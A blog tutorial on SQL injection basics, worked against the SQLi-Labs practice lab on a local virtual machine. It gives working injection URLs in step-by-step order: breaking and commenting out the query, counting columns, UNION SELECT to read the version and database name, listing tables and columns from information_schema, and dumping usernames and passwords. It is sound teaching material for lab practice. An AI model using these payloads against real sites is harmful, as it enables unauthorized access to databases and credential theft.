SQL Injection Basics

 

 

What is SQL Injection?

SQL Injection is a code injection technique used to attack data driven applications, in which nefarious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an applications software for  example when users input is either incorrectly filtered for a string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.

Please check out this YouTube video from Tom Scott at computerphile explaining how SQL injection works and how to defend against them.

 

For this tutorial I’m going to be using SQLi Labs, which I have setup previously In my Setup a Vulnerable LAMP Server tutorial, If you don’t have this setup already please follow this tutorial and then come back here once you have your Vulnerable LAMP server setup.

Hackbar

Hackbar is a Firefox Add-on, which extends the address bar of Firefox and thus provides enough space for long injection URLs, this helps for when you’re doing SQL injections. It also has other additional features including the ability to perform encryption, encoding, decryption, Post data manipulation, inject code generation etc. Now I am not saying that you need Hackbar to do SQL injection, in fact, you can do SQL injection from any internet browser but it just helps visualise the code and you will shortly see how complex it can get .

You can download the Hackbar Firefox Add-on from https://addons.mozilla.org/en-US/firefox/addon/hackbar/

 

Getting Started

Firstly we need to make sure the vulnerable LAMP Server is fired up and connected to the network. If you have already run through my tutorial on Setup a Vulnerable LAMP Server you should have a Linux Mint virtual machine that has everything we need to get started. To find out what IP your virtual Machine has open up a Terminal and type ifconfig and check where it says inet addr: under eth0 or enp0s3.

My VM says it’s on 192.168.0.24  so to access SQLi Labs type http://192.168.0.24/sqli/ into your browser. If everything has worked you will be presented with a page as below.

Click SQLi-LABS Page-1(Basic Challenges) and then Click GET-Error based – Single quotes – String Less-1.

After clicking lesson 1 you get presented with  a page that says Welcome Dhakkan Please input the ID as parameter with numeric value as below.  Just as a little side note Dhakkan is an Indian slang word for dumbass or idiot.

 

So as it requests enter the id parameter with a numeric value like ?id=1 to the end of the site address in the address bar as below.

http://192.168.0.24/sqli/Less-1/?id=1

This will change the page to display a login name and password as below, if you increment this number  you will notice that the login name and password change on the screen.

This means in the backend, the SQL query will look like this.

select login_name, password from table where id=(Our-Provided-Input)

Meaning as we change the number after the id= we get a different login name and password on the screen.

select login_name, password from table where id=1 (Your login name:Dumb, Your Password:Dumb)
select login_name, password from table where id=2 (Your login name:Angelina, Your Password:I-kill-you)
select login_name, password from table where id=3 (Your login name:Dummy, Your Password:p@ssword)

Breaking the Query

Now we know what the page is doing, this is where the fun begins, we need work out how to break the query and see what kind of response we get from the database.

So the developer of this site expects us to put some sort of numerical value after the ?id= but what happens if you think outside the box and try to put something else.

So lets first try a string….

http://192.168.0.24/sqli/Less-1/?id=news

Notice that the page stays the same and nothing special happens, we just lose the Your login name and Your password. 

Next, try an alpha numeric value and you will notice you get the same as above.

http://192.168.0.24/sqli/Less-1/?id=news1234

Now with a large integer value again as above still no error.

http://192.168.0.24/sqli/Less-1/?id=111111111111

So with all the values above we don’t get any output from the database, so now let us try it with some special characters as well. first, add the double quote to the end of the value.

http://192.168.0.24/sqli/Less-1/?id=1"

Notice again nothing really happens, we get the login name and password back but its the same output as without the double quote.

Now let us try again with a single quote.

http://192.168.0.24/sqli/Less-1/?id=1'

Boom, we have broken the query and get an error from SQL

The bit we are interested in here is the ”1” LIMIT 0,1′ notice that it looks like the 1 is encapsulated by two double quotes this is actually single quotes which you can see below with spaces between them.

'  '1'  ' LIMIT 0,1'

The First and last quote  make up the complete string.

 '  '1'  ' LIMIT 0,1'

Our single quote that we added to break the query is here.

'  '1'  ' LIMIT 0,1'

This means we have one too meany single quotes in our query, allowing us to break out of the query’s original design and insert our SQL injection.

If we add a backslash to the end of our query ( \ ) which is an escape character for MySQL, we can see more easily where we are breaking the query

http://192.168.0.24/sqli/Less-1/?id=1\

This gives you this error.

'  '1\  ' LIMIT 0,1'

If we take a look at our backend SQL query the above shows that the query encapsulates the ?id= value in single quotes like this.

select login_name, password from table where id='Our-Provided-Input'

 

Just to recap the operations mostly used for breaking\fuzzing the SQL query’s are.

' Single quote
 " Double Quote
 \ Backslash (MySQL Escape character)

 

Fixing the Query

We need to now fix our query so that we can get rid of the error and pass our malicious SQL query to the database this is done one of two ways, either we comment out the rest of the query or we add some extra characters to the unbalanced query to balance it out.

In our example, we are going to comment out the rest of the query this can be done using any of these values…

-- Double Dash
 # Hash
 /*  */ Forward Slash, Star,Star, Forward Slash

because we are not directly interacting with the database and instead we are interacting with the web front end and that front end is actually creating the query to interact with the backend so there are some constraints.

one of the constraints is that when we use — (double dash) to comment out the rest of the query we need to provide an extra space after the double dash. If you don’t it will not fix the query.

So if we go back to our SQL labs lesson 1 and just add — to the end of our query you will see that we still get an error.

http://192.168.0.24/sqli/Less-1/?id=1'--

This shows that the comments have not worked as intended, due to not having the space at the end of the double dash also you will get the same error if you actually do a space after the double dash because we are entering it in the URL address bar and you cant have spaces at the end of an address. To get around this you have to URL encode the space for it to work, this for space is %20 try this on your query and you will notice this is now fixed.

http://192.168.0.24/sqli/Less-1/?id=1'--%20

The same goes for the # (Hash) this will not work until you URL encode the hash and add it to the end of your query. The #(Hash) URL encoded is %23 and this will give you the same output as above.

http://192.168.0.24/sqli/Less-1/?id=1'%23

So basically all we are doing is commenting out anything after the single quote which closes the string then, in turn, allows us to enter SQL commands which SQL will then run against the database.

'  '1' -- ' LIMIT 0,1'

Just to recap any of the values below can be used to comment out and fix your query.

-- Double Dash is URL encoded as --%20
--+ Injection This is the same as above but the + on the end just means a space.
# Hash is URL encoded as %23
-- - Double Dash space Dash SQL comment
;%00 Nullbyte
` Backtick

Find the Number of Columns

Now we have broken the query and fixed it we are now ready to find out how many columns the Backend database has, This is done by using the order by statement and incrementing the number until you get an error. Start by adding order by 1 to the query as below.

http://192.168.0.24/sqli/Less-1/?id=1′ order by 1–+

Keep incrementing the number after the order by statement until you get an error

http://192.168.0.24/sqli/Less-1/?id=1′ order by 2–+ ( no error)
http://192.168.0.24/sqli/Less-1/?id=1′ order by 3–+ (no error)
http://192.168.0.24/sqli/Less-1/?id=1′ order by 4–+ (error)

This shows that we have 3 columns as we got an error when you do the order by 4 statement.

Find which Columns are Vulnerable

To find which columns are vulnerable, we have to use a union all select statement with the number of columns we found in the previous section.

http://192.168.0.24/sqli/Less-1/?id=1' union all select 1,2,3--+

Notice nothing really changes on our test lab as we need to make the statement false to find the vulnerable columns, to do this we have to write something after the = sign which is not in our database

http://192.168.0.24/sqli/Less-1/?id=–1′ union all select 1,2,3–+

This changes the page to…

This shows that column 2 and 3 are vulnerable in our statement.

you can also do…

http://192.168.0.24/sqli/Less-1/?id=.1' union all select 1,2,3--+
http://192.168.0.24/sqli/Less-1/?id=hempstutorials1' union all select 1,2,3--+
http://192.168.0.24/sqli/Less-1/?id=-lol-1' union all select 1,2,3--+

As you can see you can write anything after the = sign to get the same result as long as it’s not in the database.

Let’s just make sure these columns are vulnerable by adding some extra characters this shows that we are able to manipulate what these columns display.

http://192.168.0.24/sqli/Less-1/?id=-1' union all select 1,222,333--+

 

Find SQL Version & Database Name

We can now use our vulnerable columns to find out some juicy information like which Version of SQL the server is running and the name of the database

To find out the SQL version, we just need to add version() to one of the vulnerable columns like this…

http://192.168.0.24/sqli/Less-1/?id=-lol-1′ union all select 1,version(),333–+

This tells us we are running SQL 5.7.15 and Ubuntu 0.16.04.1 which, if you followed my tutorial on setting up a vulnerable LAMP server we know in my SQL Labs that I have installed Linux Mint which is based on ubuntu.

The reason we need to know the version of SQL is that SQL version 4 is very different in the way you do SQL Injections compared to SQL Version 5.  In SQL version 4 you have to guess the table names compared to Version 5 where you manipulate the INFORMATION_SCHEMA to spit out the names of the tables.

Next to find out the name of the database add database() to the either of the two columns.

http://192.168.0.24/sqli/Less-1/?id=-1' union all select 1,version(),database()--+

As you can see, I have used column 3 which now displays the name of the database as security.

 

Finding Tables

Now its time to display what tables are in our database called Security. We do this by adding a group_concat command in one of the vulnerable columns that query’s the information _schema and spits out the table names on the website.

 

http://192.168.0.24/sqli/Less-1/?id=-1' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

After you get the names of the tables, it’s time to start extracting the data from these tables. In this example, we will go after the users table as this is where you usually find all the juicy usernames and passwords.

 

Extract the columns

We extract the columns by adding column_name in between the brackets of our group_concat command and changing the information_schema to look at the columns.

http://192.168.0.24/sqli/Less-1/?id=-1' union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()--+

 

Dumping Columns

Now we select what columns we want to dump from our table. For this example, I’m looking for the id, username and password  columns from the users table. To do this we add id,username,password inside the brackets of our group_concat command, then tell it which table we want to dump the data from.

http://192.168.0.24/sqli/Less-1/?id=-1' union all select 1,group_concat(id,username,password),3 from users--+

So this displays all the usernames and passwords from the users table, the problem is this is not very easy to read.

 

Formatting the Output

We can make this more pleasing to read by adding HEX encoded characters and HTML tags to our query.

The easiest way to do this is by using the HEX Encoding function in the Hackbar firefox addon.

So say we want to add  colons : between our id, username and password. First open up the Hackbar (F9 if you have it installed but it is not showing) type a : (colon) into the hackbar, highlight it and select

Encoding -->HEX Encoding --> String to 00ff00ff

This will convert the colon : into a 3a, then add 0x to the front of this and it now can be added to our query like below… Which will add a colon between each username and password it displays .

http://192.168.0.24/sqli/Less-1/?id=-1' union all select 1,group_concat(id,username,0x3a,password),3 from users--+

Also try adding a double colon :: after the id in our query. A double colon encodes to 3a3a using the Hackbar, add 0x to the front of that and we get 0x3a3a which we can add after id

http://192.168.0.24/sqli/Less-1/?id=-1' union all select 1,group_concat(id,0x3a3a,username,0x3a,password),3 from users--+

0x3a = :
0x3a3a= ::

As I said before you can also encode HTML tags to format the text, in this example I will use a line break <br> to list the output with one line for each record.

<br> HTML tag encodes with the hackbar to 3c62723e add 0x to  the front of this to get 0x3c62723e and add it before the id in our query.

http://192.168.0.24/sqli/Less-1/?id=-1' union all select 1,group_concat(0x3c62723e,id,0x3a3a,username,0x3a,password),3 from users--+

<br> = 0x3c62723e  (a line break)

You can even encode a string using this same process for example HempsTutorials encodes to 48656d70735475746f7269616c7320 add 0x to the front of this and add 0x48656d70735475746f7269616c7320 to the other vulnerable column we are not using. which once processed will display HempsTutorials in our output.

http://192.168.0.24/sqli/Less-1/?id=-1' union all select 1,group_concat(0x3c62723e,id,0x3a3a,username,0x3a,password),0x48656d70735475746f7269616c7320 from users--+

These are the very basics of SQL Injection if you are interested in finding out more check out this SQL injection Cheat Sheet from pentestmonkey  http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet. I also will be writing more SQL injection tutorials using this Vulnerable LAMP server so check back soon. As always please comment below if you have any questions about SQL Injection or have found something that I have explained wrong. I am always up for a discussion.